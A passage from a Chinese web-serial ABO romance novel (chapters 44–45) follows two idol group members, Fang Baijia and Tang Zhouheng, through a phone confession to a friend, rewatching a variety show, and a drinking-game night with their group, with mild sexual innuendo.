这样显得他好像那种很随便的、道德感低下的alpha。 明明连恋爱都没谈过,怎么进度就要策马扬鞭地一去不回头了。 想到这里,方柏嘉没有再说什么,默默将汤昼恒送到了走廊上。 走之前,汤昼恒在门口转过身,停了停。 目光下移着在方柏嘉身上转了一圈,似乎有些欲言又止,没来由地突然问他:“你今天还出门吗?”? 方柏嘉眨了眨眼,不解他是何意,但还是答:“应该不会了吧?” 现在都快十点了,他又不是那种爱过夜生活的人。 汤昼恒“嗯”一声,没有多说什么:“记得换件衣服,早点睡。” 讲完这句话就走了。 换件衣服…… 方柏嘉呆了呆。 有一瞬间觉得汤昼恒是在内涵自己,说他流了太多的水。 可汤昼恒又是怎么知道的,难道他已经漏到最外面的裤子上了,只是方柏嘉自己没有发现? 想到这里,方柏嘉立刻伸手摸了摸后面。 没有啊…… 他把门关上,一脸恍惚又迷茫地晃回了卧室。从行李箱里拿了新的干净贴身衣物出来,准备到浴室里换上。 路过洗手池边的镜子,方柏嘉脚步一顿。余光似乎瞟到什么,他一脸疑惑地缓缓转动身子,面向镜面站直了。 目光缓缓定住。 方柏嘉打量着里面的自己,不出两秒就发现了异常。 只见他身上这件灰色短袖,正处在左边胸口处某一点的地方,竟有块湿了的、比一枚一元硬币稍微大些的水渍。 水渍是深灰色的,点缀在一片浅色上异常显眼,正中心有个尖尖的凸/起形状。 但凡是个成年人,都能知道这里曾经发生过什么。 方柏嘉忍不住红着脸对着空气骂了一声,一下就知道汤昼恒刚才说的让他换衣服是指什么了。 第44章 第 44 章 嘴上说不要身体很诚实。…… 把上下两边的衣物都换掉后, 方柏嘉坐在床边,重新给李子晋拨去语音通话。 仿佛嗅到什么不一样的气息,李子晋一接通电话就大呼小叫起来:“你什么情况?!不是说在酒店房间吗, 刚刚敲你门叫你名字的那个人是谁?你还隔了好久才接我电话,一接电话还那个声儿……合着你是在背着我偷情呢?” ……该不该说, 这家伙的判断力和对八卦的敏锐度是真的准。 “你特么——什么叫背着你偷情?我偷情还用背着你?不对,我怎么就偷情了?” 方柏嘉强作镇定, 仍有些语无伦次, 好在很快又冷静下来:“你对这种事这么了解, 看来没少亲身经历啊?” 李子晋是个吸渣体质的恋爱脑, 作为一个正在事业红火期的偶像剧小生, 他并没有什么自觉, 出道四五年,拍一部剧谈次恋爱,谈到的没几个好A, 十个里面五个劈腿。方柏嘉听了他的情史都觉得诧异, 原来圈里竟然有那么多A同。 李子晋冷哼一声:“你不要以为这样就能转移话题。既然你没否认, 那就是说我刚刚猜的是真的了?我打电话的时候,你真的在干坏事。” “。”方柏嘉一时愕然,不知道该怎么否认。 李子晋一下变得悠然起来:“让我来猜猜, 刚才这位出现在你房间里的仁兄是谁。他那么叫你, 肯定不会是外卖或者酒店服务人员。是个男的,听起来好像也有点耳熟啊……怎么感觉像我不久前看节目听见过的声音呢?” 方柏嘉实在受不了这人故弄玄虚的弯弯绕绕:“你有话直说,都猜出来了还装什么?” 没想到他这就不掩饰了,对面反倒不习惯:“靠,真是汤昼恒啊?你特么——” 他说完这三个字,久久没有下文, 像想说的话太多,找不到切入口。 N秒之后,才挤出一句:“……睡过了没?” “……” “你大爷。”方柏嘉没忍住骂了声,“合着你憋了半天脑子里就想得到这个?” “我这是根据你刚才行为的有端联想。”李子晋说,“谁让你偷偷摸摸的。话说,既然是这样,你回来找我干嘛,你俩没做?” 方柏嘉没好气:“被你打断了,这个答案你满意没?” “我操。”李子晋轻轻骂了句脏话,“距离咱们上次见面才过去多久,你这行动也太迅速了,有这么大的进展都不告诉我!” “哪有什么进展。”方柏嘉嘀咕。 他要是真和汤昼恒在一起了,说不定还能和李子晋分享一下。可现在这个不上不下的尴尬局面,他能说什么? 连方柏嘉自己都搞不清他和汤昼恒目前究竟是什么状况。 “都这样还不算进展,那什么才算进展?”李子晋幽幽地,“录节目那回我就看出不对劲,你还死不承认。快告诉我,你俩到底怎么勾搭上的?” 方柏嘉扛不住李子晋反复拷问,加上他自己今天的心情也很微妙,干脆简单和李子晋讲了下事情的起因经过。 李子晋听完后深深地“卧槽”了一声:“我接。” “?” 方柏嘉:“你在接什么?” “接和心选哥有正当理由亲密接触再顺水推舟发展感情的好事啊。”李子晋理直气壮。 “……” “所以你跟他现在到哪一步了,快成了没有?” 方柏嘉有点尴尬:“八字没一撇的事儿。” “没有吗?不应该啊。”李子晋得到意想不到的答案,十分诧异,“那你们刚刚那是……” “&*%¥#@……” 李子晋这个疑问可谓是戳到方柏嘉的点上了。 他叽里咕噜吐了一串乱码出来。 李子晋茫然:“什么???你说什么啊?” “其实,我这几天也有点弄不明白我跟他的事。”对面的人吞吞吐吐。 方柏嘉想到李子晋虽然屡屡遇人不淑,但好歹也是谈过很多任男友的,在这方面有经验,索性让对方帮他参考参考。 “前段时间我和他有点暧昧,但是又没有挑明,就有点不上不下的。我没忍住,跟他说你想亲我就亲,不要磨磨唧唧的。然后他就像变了个人一样,隔三差五就会跟我说一些暗示的话,还亲了我好几次。” “我觉得有点不大适应,稍微躲着他了一点,他好像看出来了,今天亲我的时候就跟我说,他本来不这样,是我讲了这句话后他才这么做的,说我挺双标的,自己随便撩别人可以,他就不行。” 李子晋听完后沉思良久:“他说得对。” 方柏嘉:“……” “这不是很好吗?他也没做错什么,听你这么描述,甚至感觉他还挺会的。” 李子晋不理解:“你那话不就是默认了对方可以跟你玩暧昧么,他真如你所愿A上来了,你从来没交过男朋友的小心脏又受不了了?靠,你好怂!!!” 莫名被身经百战的恋爱脑嘲笑了一把,方柏嘉有点红温地为自己辩解:“那他也转变得太快了!” “我不明白,你说他是因为我没有许可就尊重我对我保持礼貌吧,可要是我不这么说,难道他就一直忍着?合着我不主动,他就当什么事也没有,我一说了,他反而肆无忌惮。反正就,让我感觉怪怪的。具体哪怪我说不上来。” “是挺怪。”李子晋冷笑一声,“那我问你,有这么一个人,明明你哪也没惹他,但他就是不给你好脸,还大庭广众让你下不来台,换做是你,你会对他有好感吗?你会对他展示好感吗?” “说实话,我觉得汤昼恒居然还能对你有兴趣,这才奇怪。他该不会是M吧?还是说他就喜欢你这种别具一格有挑战性的拆家款,觉得你好特别跟其他A都不一样?” 方柏嘉感觉自己的膝盖中了一箭,灰头土脸地说:“你到底是哪边的?” “我站在良心这边。”李子晋意味深长,“你对他都已经那样了,他还对你这样,还要什么自行车?” 方柏嘉:“……” 倒也不必把他说得跟恶棍一样吧。 见他许久不说话,李子晋又出主意怂恿:“实在拿不透他的想法,要不然你再跟他多发展发展,主动出击一下。听你的描述,我觉得你俩有戏。” 方柏嘉心里一动,手指无意识揪着枕头边:“……我不。我干嘛要主动和他发展?凭什么?” “哎——”李子晋诧异,“你不是喜欢他吗?” “喜欢一个人就要和他谈恋爱吗?”方柏嘉臭屁道,“我就喜欢这种喜欢人的感觉,真谈上了说不定我还不乐意呢。” 李子晋懒得戳穿他:“那你别特么以后一听到你男神疑似和谁有绯闻就犯病,也别在你那破小号上发什么‘老公我的眼泪是你的战利品’。” “……” 你他妈。 被损友念出自己在私密小号上的疼痛发言比在舞台上唱歌破音还恐怖。 方柏嘉狠狠地磨了磨后槽牙:“你之前不还跟我说世界上根本没有好alpha,谈恋爱就是跳火坑让捞男吸血,自己从此以后封心锁爱了吗?怎么一到我这儿反而开始劝我了?” “那也得分情况啊。”李子晋说,“一般的alpha是这样,可你老公不是一般alpha。他那种极品,就算只是玩玩,难道不爽吗?只谈一星期都算赚到。反正我看你们团离单飞各干各的也不远了,以后你想和他聚还没机会呢,在这之前享受一下怎么了。” “呵呵。”方柏嘉道,“怪不得你总是被坏男人甩。面对不良诱惑的坚定呢,眼里只看得到享受,难道不得考虑一下后果?” 李子晋模仿着他的腔调反唇相讥:“呵呵,就你最清醒,那你刚刚和你的梦中情人在干嘛呢?嘴上说不要身体很诚实是吧?” 方柏嘉立马闭嘴了。 滚烫的湿润感仿佛还停留在身前,他的脸由红转白,再由白转红,烫得能在上边煎蛋。 李子晋苦口婆心:“我可跟你讲了,你要把握黄金时间。网上那个说法你听过没,互相有意思的人,基本上暧昧一个月——顶多两个月就谈恋爱了,时间越长,在一起的概率越低。毕竟要是真的喜欢,谁能忍住不出手?错过那个最佳时机,以后就再也没机会了。” “你对我嘴硬无所谓,别到时候自己又在小号上哭。”李子晋说,“话说回来,你们之前做过没有?” “……” 方柏嘉:“你干嘛老提这事?做了怎样,没做又怎样?” “这也是一个判断依据。” 李子晋说:“哥们儿,别忘了咱们是alpha,所有性别里最缺少自制力、最原始、一到了生理期聚吧自动顶替大脑,脑子里只想着艹来艹去的物种。他帮你脱敏治疗,肢体接触肯定要有吧?要真喜欢你,他能没反应,会忍住不那什么?你能忍住不那什么?” “正常alpha到了这个阶段,早就床上大战不知道多少回合了,你俩要是没做,要不然是性/功能有问题,要不然是你和他之间没什么性/吸引力,好了也不长久。” “……”这话说的,搞得他还没法否认了。 方柏嘉哼哼两声,没说是与不是。 李子晋也不在意,结束情感小课堂,自顾自又嚷嚷起来:“哎不行,今天我非得拉着你看一遍节目不可——” 话题再度转到了《时旅家》的更新上。 方柏嘉拗不过他,想着反正不会比和汤昼恒一起看还尴尬,跑去客厅拿了平板。 懒得再投屏,他直接坐在床上抱着IPAD,和李子晋开了屏幕共享。 节目组很懂流量那一套,因为方柏嘉和汤昼恒第一天下午都在双人行动,和主线的大部队是分开的,于是便在正片外额外发布了个“海边求生小分队”的完整FOCUS,将两人半个白天加一晚上的内容都放了上去。 方柏嘉得以以第三视角观察了一遍自己和汤昼恒的相处过程。 这部分的内容以二人在海滩边上兜兜转转寻找搭建庇护所的材料为开头。 看到他们因为口渴而砍椰子那块,明明是汤昼恒不小心把泥土抹到了方柏嘉的面庞上,却反过来说是方柏嘉自己把脸给弄脏的,装作没事人一样地让他洗脸,方柏嘉不禁在屏幕边陷入沉默。 “……” 原来当时是这么回事。 要不是他看了节目,恐怕现在还被蒙在鼓里。 再看这里的弹幕,也是异常热闹。 【我服了,仗着老婆看不到睁眼说瞎话,此男骗比就这么得心应手】 【温柔年上主动帮别人解决问题×,自己制造的问题先甩锅给年下再装热心可靠帮忙解决√,不仅免于被谴责还给自己塑造了高大伟岸的形象[奸笑]】 【惊,有只阳光大狗私下竟一肚子坏水……】 【老哥一遇上不不就变得恶趣味起来】 【那哥很坏了】 【可怜的比不知道自己被老公玩弄于股掌】 李子晋读了几条网友评论,在电话那头乐得像鸭子叫:“哎呦喂……你老公怎么这样!” 话到一半,他止住了笑,想起自己在录制现场沦为两人情/趣play中的一环的惨痛经历,开始愤愤谴责起来。 “——不对,他一直就这样,看着挺正经的,其实全是手段!” “。”方柏嘉不知道该说什么,只好沉默地装傻。 后面播到他们晚上去其他嘉宾的住处交换食材,汤昼恒浑水摸鱼顺走午餐肉的片段也成了被热烈议论的场面之一。 方柏嘉看到这儿,立刻打起精神将身体坐正。 他答应和李子晋一块看《时旅家》,有很大一部分原因就是因为好奇这个。 虽然那会儿方柏嘉已经从对话中猜出大概,但他还是想亲眼看看汤昼恒到底是怎么操作的。 原来,就在方柏嘉走出庇护所,发现汤昼恒在煎午餐肉的二十分钟之前。 汤昼恒拎着四颗椰子走进公馆大门,顺道帮忙摆在嘉宾们堆放食材的桌子上。 摄像镜头中,可以很清晰看到他在进门时有一个观察周边摆设的眼神。 汤昼恒又问了一遍能不能给他一点肉类食材的话,不出意料地被两名“老奸巨猾”的年长男嘉宾再次拒绝。 “好吧,那给你们放这里了。” 他像是就此下定决心,趁着其他人没注意,一边说话,另一只手一边借着椰子的遮挡伸到桌面,将桌上的一盒午餐肉悄悄挪走。 汤昼恒全程看着相当淡定。 几乎在他拿起午餐肉的瞬间,走进正对面的厨房里拿东西的狄弘亮去而复返,汤昼恒依旧没有任何的慌乱与停顿,处变不惊地将东西以一个行云流水的姿势收入口袋。 真正暴露的地方在后面。 汤昼恒转过身,发现一名女beta嘉宾正端着洗好的菜从他身后的方向无声地走过来。 两人打了个照面,彼此都是一愣。 对方显然看到了他的动作,汤昼恒眨了下眼,露出正在飞速思考着的神情,刚要说些什么,女嘉宾却连忙冲他摆手:“趁他们没发现,赶紧走赶紧走!” 汤昼恒松了口气。和女嘉宾心照不宣地比了个手势,又用嘴型道了声谢谢,飞快地离开了。 直到走出公馆大门许久,他才对着镜头露出一个得逞般的笑容。 这个笑很淡,但一下就让他变得无比鲜活,显出一种二十几岁的alpha独有的介于稳重与明朗间的青春气息。 “方柏嘉不吃肥肉,我想了一下,还是得从这里下手。今天运气不错。” 汤昼恒用闲聊似的语气说着,整个人都因为达成了目标而放松下来。 他一边加快了脚步,一边从口袋里拿出那盒顺走的午餐肉,口吻轻快地对着vj展示:“如果不是毅哥和亮哥带头票我们俩,我和方柏嘉现在估计坐在公馆的豪华餐桌上吃大餐呢,拿一点补偿应该没事吧?” 竟然和方柏嘉后面在篝火堆边说的话有些相似。 【?屏幕里怎么有好大一只帅狗在狗狗祟祟】 【不得不说老一心理素质真好,干起坏事面不改色】 【脑补出一只毛茸茸的伯在外面奔波打猎悄悄带着惊喜回家,哥to比:我偷午餐肉养你(不是)】 【此狗不要太宠老婆,半句话没提自己,拿午餐肉是考虑到老婆吃不了肥肉,做饭过程中还坚持投喂老婆,半盒煎午餐肉都进了老婆肚子[笑眯眯]】 【哥好,比好,包庇哥的嘉宾姐姐也好】 【还是那句话,遇上1这样上得厅堂下得厨房没事还能补贴养家的人夫3你就赶紧从了吧】 李子晋看到这里“哟”了一声,语气不无暧昧地道:“你老公对你还挺贴心的嘛?” 方柏嘉无端被他说得害臊,闷闷地把盖在腰间的被子拉上来遮住下巴,当没听到。 至于最后水上大作战那一part,网上的反应就和李子晋之前说过的差不多,都是在打趣方柏嘉和汤昼恒太过“专注彼此”的。 【歪?导演在吗,这里好像有两个人完全沉浸在自己的世界里了。】 【我服了,这两位是怎么做到连玩个游戏都像当街接吻的情侣一样让人无法直视的,你俩要不然把目光分给别人看看呢,上个节目还大庭广众秀恩爱是吧臭同性恋[无语][汗]】 【说明13只要在一起就自成结界捏[奸笑]】 【李子晋也是够倒霉的,谁能数数他一场下来被老一肘击了多少次,这个频率我真的要怀疑1是故意的了】 【最绝的还是游戏快结束那一幕,lzj刚挨着比哥就上来把他撕(?)走了换成自己来,结果刚才扒lzj有多随便对待比就多温柔,我说明明都是对面队的某人怎么还双标[惊讶]超明显的前后对比,你懂什么事alpha的占有欲[大拇指]】 【3也很配合啊,老公轻轻一抱就乖乖下来了完全没挣扎,除了最后确实没力气了之外谁说3不是欲擒故纵在享受?】 【老公一来其他人竟全部沦为陪衬,不不的私心和偏爱已经呼之欲出[你懂得]】 …… 总共两期更新内容,每一期都将近两个小时,等他们看完,已经快凌晨两点。 方柏嘉和李子晋又聊了会天,打了声招呼先下线了,洗漱完却没立刻睡觉,还在思考李子晋今天的话。 什么超过一两个月在一起的概率就微乎其微……有那么玄乎吗? 方柏嘉打开手机日历查了查,从易感期那次到现在已经过去一个多快两个月了。 照这么说,剩下的时间岂不是不多? 下一秒,他迅速否定了这个想法。 自己和汤昼恒都还没怎么样,怎么就快要错过黄金时间了。 他们这些动不动就飞去各地跑商务、参加活动的爱豆偶像,能和正常上班上学的人比吗? 就连李子晋在剧组和同组演员谈恋爱都能每天见面培养感情呢。 所以得把他和汤昼恒中间因为种种原因行程错开的时间减去—— 就算半个月好了,那就变成了一个月出头。 方柏嘉咬着指甲继续思忖。 话说回来,从易感期那次开始算是不是太早了? 他那会儿还没怎么和汤昼恒暧昧,顶多算是因为意外增加了日常接触。 非要说正式动起心思,那也应该是从汤昼恒手受伤了开始算。 方柏嘉在日历上拨了拨。 只有两个星期不到,完美。 方柏嘉觉得自己得出的结论很是这么回事儿。 至于李子晋说的另一个事实依据,首先,他和汤昼恒肯定是已经做了的。根据方柏嘉自己仅有一次的体验来看,他和对方应该都挺爽。 换言之,他们在床上很和谐,生理这方面完全没有阻碍。 唯一让方柏嘉不太确定的是…… 床上的alpha若有所思地抬起眼。 虽然做的过程中是挺猛的,但他怎么总感觉汤昼恒做之前的意愿并不强烈。 像李子晋说的,他们这个年纪的A,一旦有过肉/体关系,必然是干柴烈火、一点就着。不说夜夜笙歌,一星期来个两三次起码是要有的吧? 可距离他和汤昼恒第一次上床已经接近一个月了,在那之后唯一一次有明显苗头,还是今晚汤昼恒来找他,却也因为一通电话而中断。 方柏嘉再从房间里出来,听到的就是汤昼恒要回去了的消息。 虽然他当时选择接听李子晋的电话,也有觉得太刺激而临时逃避的成分在里边。 可他打电话总共也要不了几分钟,汤昼恒但凡选择等他通话完留下,方柏嘉也未必没可能和他继续之前未完成的事,毕竟自己当时是真的被汤昼恒勾起了欲/望。 偏偏对方就那么走了。 方柏嘉本来没想那么多,可经李子晋这个恋爱脑半吊子一提醒,他也不确定了,对汤昼恒今晚的行为不满起来,怎么思索怎么觉得古怪。 是该说对方够有耐心,那么能忍;还是耐心不够,只是过了那么几分钟都能丧失兴趣? 一个正直青壮年的、那方面功能也没问题的alpha是可以对有好感的人这么有自制力的吗? 方柏嘉重重地啧了声。 想到李子晋今天还建议他再和汤昼恒主动发展试试看…… 切。 方柏嘉将关上的手机扔到一边。 他才不呢。 * 汤昼恒当面指出他在躲着他,可见方柏嘉的伪装并不高明。方柏嘉也不好再像之前那样,佯作没事人般地和汤昼恒扮演普通同事。 接下来的一个星期,他努力调整了自己面对汤昼恒时的态度。 比前些天刻意装不熟时正常一些,但也没回归到完全自然又熟络的状态。 至于在提防什么…… 当然是怕汤昼恒又看中他自制力低下,对他火力全开。 结果事实证明,方柏嘉多想了。 汤昼恒自从那天晚上离开以后,便仿佛这次胶着黏腻、差点就要擦枪走火的事情根本没发生过一样,原本堪称得上“火热”的攻势中途暂停,恢复成了不冷也不热的常温水平。 对外,他们仍旧表现得关系融洽,即便是在眼下这个高强度开签售会和见面会的节点,也没粉丝发现不对。 但只有本人自己知道,他们之间似乎还隔了一层什么东西。 见面会的最后一站,组合来到了某气候宜人的西南方城市。 活动结束后,成员们没有立刻离开,而是在这边多停留了几天,拍摄了团综。 团综一共为期三天,团队在当地的小镇里订了套独栋带小院的别墅民宿让他们住,节目整体风格休闲,内容基本都是成员们在当地吃吃逛逛,以做任务的形式参观这里的著名旅游景点,品尝特色小吃、了解风俗文化。 最后一天傍晚,大家去附近的超市买了食材,回来在别墅里自己煮了火锅。 夜幕降临后,他们开始玩起游戏。 既然是游戏,就一定要有惩罚的手段。 成员们进行了最近网上很火的调酒接力挑战—— 每个人在不告诉别人的情况下各自选好两到三款饮品,一个个轮流走进放有巨大玻璃容器的房间,将自己带来的液体倒进去融合,形成一款全新的混合酒。 至于加的究竟是什么,全凭个人的良心。 方柏嘉酒量一般,知道组合里有好几个酒蒙子,为了让自己今晚好受点,选的两瓶都是没酒精的。一瓶椰奶,一瓶一升装的茉莉花茶。 新鲜出炉的饮料呈略有些浑浊的棕红色,质感色泽介于咖啡和冰红茶之间。 为了提前尝个味道,也是给今晚的游戏开头,六人各自接了小半杯,在空中碰了一下。 丞绪:“说好了啊,不管多难喝,要一饮而尽。” 话音落下,所有人都端起杯子喝了起来。 方柏嘉只抿了一口就拧起眉头,感觉有什么东西在热辣辣地刺激着舌头上的味蕾。 入嘴便是一阵说不出的辛辣和苦涩,好像酒是燃料,带着火焰一路从舌尖烧至喉咙,到尾调才返上来一些茶与果汁的清香。 他闭上眼,好一会儿说不出话。 又缓了两三秒,才端起酒杯,把剩下的一口闷了。 耳边听得一阵此起彼伏的“哈”声。 “其实味道还不错?”又过了几秒,丞绪说,“挺清爽的。” “是比想象中好很多,”汤昼恒表情如常地道,“没什么诡异的味道,看来没人加特殊作料。” “就是度数有点高。”陆翰音喝得呛了一口,转头看到方柏嘉的样子,噗嗤一声笑了出来,“你们看嘉嘉哥的表情。” 被他这么一说,所有人都朝方柏嘉那里看了过去。 方柏嘉把酒喝完,仍是那幅微微皱着脸的苦瓜模样,听到自己被人提起,这才慢慢把五官舒展开,有点不好意思:“这酒太冲了,我感觉我喝几杯就得歇菜。” “那你只能祈祷自己今晚尽量别输。”江白树说,“来来来,都准备好了没?” …… 众人在桌边玩了两小时动嘴皮子的游戏,后边有人提议站起来活动活动,又开始玩起蒙眼抓人。 规则很简单,先猜拳选出一人,令其蒙上眼睛、拿起枕头负责抓捕,其他人在过程中可以自由走动躲避,被枕头砸中的人就算被抓到,会自动顶替抓人的位置,或者也可以选择自罚两杯,重新选人。 民宿的一楼面积过大,考虑到蒙眼抓人者面临的难度问题,他们只将活动范围划分在客厅区域。 与此同时,每个被抓的人的一侧脚踝上还用绳子系了个铃铛,走动起来可以听到响声。 玩到第三轮,抓人的是丞绪。 游戏开始,其他几名成员立即行动起来,一边观察着他的动作,一边挑选着合适的位置。 陆翰音和杭泽宇一前一后地跟在丞绪身边,故意跺脚让脚边的铃铛响起来,玩声东击西这一套。两人你响一下,我响一下,有心迷惑丞绪的判断。 丞绪举棋不定了一会儿,朝陆翰音走了过去。 中间无论杭泽宇在后边如何不停地撩拨他,丞绪都打定了主意不为所动,没有理会他一下。 正当所有人都以为丞绪一心咬死了陆翰音不放时,意外却发生了。 只见丞绪往陆翰音那边走了两步之后,突然一个回马枪转身袭向杭泽宇——原来他的目标早就是身后的人,之前只是在装样子迷惑对方。 好在杭泽宇反应还算敏锐,没让丞绪手中的枕头砸到,在原地踉跄一下,赶紧向着阳台跑了过去。 汤昼恒刚好在他逃跑的途径之路上。 差点被飞奔而来的杭泽宇撞个正着,汤昼恒见丞绪逼近,只能被迫跟着移动。 两道铃声在交汇一瞬后又分开,丞绪一时分不清自己原本的目标是谁。 他在短暂的一瞬后作出决定,追向右边被逼到拐角而走投无路、只能跳上沙发的汤昼恒。 “……” 原本就在沙发上面的方柏嘉见状,心里咯噔一下,碍于脚踝上的铃铛,没有立刻下定决心。 只是踟蹰了不到两秒的功夫,汤昼恒便已向他飞速靠近。 方柏嘉双眼瞪大,脸上的表情像是在让对方别过来,然而他自己也知道,眼下的汤昼恒没有别的地方可去。 时间来不及思考,面对着正朝他们逼近的丞绪,方柏嘉迅速地再上一步,整个人站上了沙发靠背。 汤昼恒紧随他的步伐依葫芦画瓢,两人很快挤至沙发乃至墙壁的拐角。 靠背总共就那么点宽度,还不够硬,加上一面靠墙,让人很难在上面保持平衡。 方柏嘉才踩上去,身形就有些摇晃。 墙壁高处有个钉在那里的装饰木架,汤昼恒看到它,眼疾手快地单手抓住,见方柏嘉站得吃力,伸手揽住他摇摇欲坠的身躯。 方柏嘉这会儿也管不了那么多别扭不别扭的,赶忙不分三七二十一地和汤昼恒抱在一起,互相做彼此的支撑。 此时,丞绪的双脚已经踏上沙发前面的地毯,开始搜索。 两人被逼到死角,再想逃也不容易,只能在心里祈祷着对方疏忽大意,不会发现。 L型沙发的折角处距离外缘最远,他们又站在上边,丞绪甩了几下打人的枕头,没碰到想象中的人,呈现出茫然的神色。 他迟疑地在面前的空气里试探挥舞着,忽然间单腿跪上沙发,俯身扶住靠背,朝他们这边摸索过来。 “!” 方柏嘉的心脏几乎停跳。 眼见丞绪的那只手离自己越来越近,距离他的裤脚只有十几公分之遥,他本以为自己必然被抓无疑。 不料就在这时,汤昼恒忽然冲他递了个眼色,示意方柏嘉和自己一样抓住架子。 等方柏嘉这么做后,他便解放了自己的那只手,转而搭在方柏嘉的腰侧。 紧接着又弯下腰去,另一只手沿着对方的小腿肚不断下滑,直到从后方握住方柏嘉系着铃铛的脚腕。 方柏嘉又:“!!!” 脚踝处被一圈温热环绕,方柏嘉的心噗通狂跳了几下。 估计也担心惊扰了他脚上的铃铛,汤昼恒稍微用力地将那枚小小的装饰物按着,抬起头,和正一脸诧异地垂眸望向他的方柏嘉对视。 有股托举的力道似乎在暗示他向上。方柏嘉读懂了对方的意思,慢慢把系有铃铛的那条腿尽量以匀速抬起。 汤昼恒随着他的动作一点点直起身体。 然而,尽管二人都已在努力减小动作幅度,铃铛的声音依然是不可控的。 方柏嘉脚上的小圆球还是丁零当啷地响了起来。 哪怕只是微弱的几声,还是被近处的丞绪捕捉到,对方当机立断,当场扬起枕头朝声源发出的位置扫来—— “……” 方柏嘉一惊,没抓架子的手下意识扶住汤昼恒的肩膀。 身下一阵凉风袭来,拂过的气流搅动了毛孔。 千钧一发之际,汤昼恒放开了方柏嘉的脚腕,手臂上移间忽然一个发力,将方柏嘉给抱了起来。 双腿腾空的方柏嘉完美避开了这一下攻击,时机巧得不能再巧,简直像是事先演练过的一样。 只有留在原地无处可躲的汤昼恒被枕头“啪”的一下击中。 丞绪察觉自己打到了人,非常兴奋,当即握拳“YES!”起来,两下扯掉眼前的遮挡物,想看看自己抓住的究竟是谁。 结果一抬头,看见的就是汤昼恒和方柏嘉这个基情四射的、纠缠搂抱在一起的姿势。 丞绪愣住半天,震撼地感叹了一声:“卧槽????” 第45章 第 45 章 这么玩弄我,你不会有愧…… 方柏嘉被他的目光一盯, 也才注意到自己此刻和汤昼恒的样子亲密得诡异,脸上匆匆一热,偏过头去眨了眨眼。 好在下一瞬, 汤昼恒就把他放了下来,自己也下到沙发表面, 耸耸肩道:“我被抓了。” 下一把是汤昼恒抓人。 他接过丞绪递来的发带,将眼睛蒙上。 等待其他人初步挑选位置的时间里, 方柏嘉看见他把枕头夹在手臂下方, 像在热身般有意无意转动自己的左手手腕。 方柏嘉心里立刻警惕起来, 想起刚才那一轮, 汤昼恒就是用这只受过伤的手去抓墙架的。 距离舞台事故过去了大半个月, 据汤昼恒自己说已经没什么感觉了, 平时都能正常活动,也早就没再用药。 方柏嘉在网上搜索时看到过不少例子,有人手好了之后不上心, 没过多久又开始做一些高强度发力的动作, 导致后续落下了病根。 游戏开始, 他望着朝向四周摸索起来的汤昼恒,突然意识到,这个不停抓着枕头挥舞的动作也很依靠手腕的带动。 汤昼恒此刻甩动枕头的力度不大, 不知道是累了还是别有隐情。 扮演抓人者的角色往往要消耗比被抓的人更多的体力, 方柏嘉观望了片刻,很快按捺不住。 他甚至不知道自己当时究竟是怎么想的,下一秒,身体已然付诸了行动。 方柏嘉假装不经意地走向汤昼恒,晃动脚腕,让脚踝上的铃铛发出声音。 汤昼恒自然听到了那阵声响, 只不过玩了几局游戏,他也深谙队友们的套路,知道大家会故意逗人。 场中的青年迟疑了刹那,大概是觉得这个游戏输和赢都没太有所谓,即便预料到可能发生什么,还是很配合地朝方柏嘉走了过去。 以为等自己走到那里,原地已经没人了,汤昼恒甚至没用枕头,只是象征性伸手在面前的空气里捞了一下。 ——就这样捞来一具温热的身体,径直撞入自己的怀中。 “……” 汤昼恒一愣。 拦住对方腰身的手第一时间紧了紧,感受着这人的身板和骨量。 高,瘦,比自己矮一点,腰很细。 这个团除了他和方柏嘉,第三高的人也才181,这个手感和高度只能是他。 汤昼恒拉下发带,果然和想象中的人打了个照面。 “这什么操作?” 其他几个人也呆了,没明白方柏嘉怎么就突然自个儿“献身”了:“哥们儿你玩儿呢?酒喝多了?” 方柏嘉就知道肯定有人是这种反应,也不慌张,做出一副很无趣的、没什么耐心的样子,懒洋洋地提高音量说:“是喝多了,怎么了?这游戏我都玩腻了,没什么意思,赶紧换下一个。” 丞绪道试探道:“你可不能用这个借口逃惩罚,不玩了也得罚酒。” “谁说我要逃?”方柏嘉诧异又不屑,“喝就喝。” 话是这么说,真一杯混合酒下肚,方柏嘉又难受了。 回到餐桌边,众人接着玩起别的,方柏嘉心不在焉,脑子里还回想着先前汤昼恒将他抱起来、自己却被抓住的那一幕,心情跟着变得难以描述。 那家伙总是这样,趁人不注意的时候忽然撩拨他一下,让方柏嘉感觉到心动。 但又不声不响,好像那只是他随手的无心之举,不多解释,也不揽功劳,忽冷忽热,叫人捉摸不透。明明之前还在“步步紧逼”,一转眼,却也能装得什么事都没发生一样,反倒显得方柏嘉的动心很多余。 宛如白日里的阳光,不仅有直射滚烫的时刻,也有隐藏在云层后面的晦暗与凉爽。 有时不禁让人感到疑惑,他对他的那些好,到底是汤昼恒真的对他喜欢并且特别,还是对方本性如此,就是这样乐意对人事无巨细,好像太阳也会自恋于自己能普照世人。 如果对方只付出了50%,他却将这认作是100%,是不是太不公平? 好烦。 就连方柏嘉也说不清自己为什么要烦闷。 …… 酒一杯接一杯地喝下肚。 接近晚上十二点,负责拍摄的团队终于收工。 成员们却还没有回屋睡觉,而是转场去了客厅,大屏放着电影当背景音,边玩别的边聊天。 “这谁用完的金主爸爸的手机放这儿了?”江白树无意间一个低头,发现摆在茶几底层的电子设备,不由拿起来看了眼。 此次团综有手机厂商冠名支持,节目里有个活动,叫“记录看见的美好”,成员在录制期间人手一部手机,将自己认为的美好画面拍下来,到时候会打上tag发到微博,为广告商做宣传。 这话说完,久久没人认领,离江白树最近的杭泽宇道:“你打开看一眼里面的照片呗,反正估计没有密码。” 江白树挑了挑眉,嘀咕了一声“好吧”,划动两下,发现果然没有锁屏,于是直奔相册而去。 翻了没几下,旁边的陆翰音也好奇地凑上来,看了两眼便道:“这是不不哥的啊。” “你怎么看出来的?”江白树惊异。 “这张,”陆翰音伸出食指,将屏幕上某个缩略小图点开,“看到没,他给我和队长拍的照片,今天我们仨一起做的任务。” 说着,手指又往旁边划了下:“这张就是我们三个的合影,我瞧瞧……” 他的本意是想看看后面还有没有别的合照,一连翻了好几张,后面却都是些富有当地特色的街景,青灰色的石板小路、路边不知道生长了多少年的茂盛绿树,垂挂在街边小店屋檐上随风飘动的风铃和手作物品。 指尖点到某一张上面时,陆翰音疑惑又稀奇地“咦”了声。 “这里怎么还有张队长的单人照?” 看起来不像是摆拍,甚至被拍到的人可能都没意识到自己已经入镜。图像上的汤昼恒斜背着单肩挎包站在路边,一派休闲运动装扮,面对着镜头的这一侧单手插兜,不知道被高处的什么东西给吸引,正仰起头来看向屋顶。 对方离手持手机的人有点远,在整个画面中只占三分之一高度。 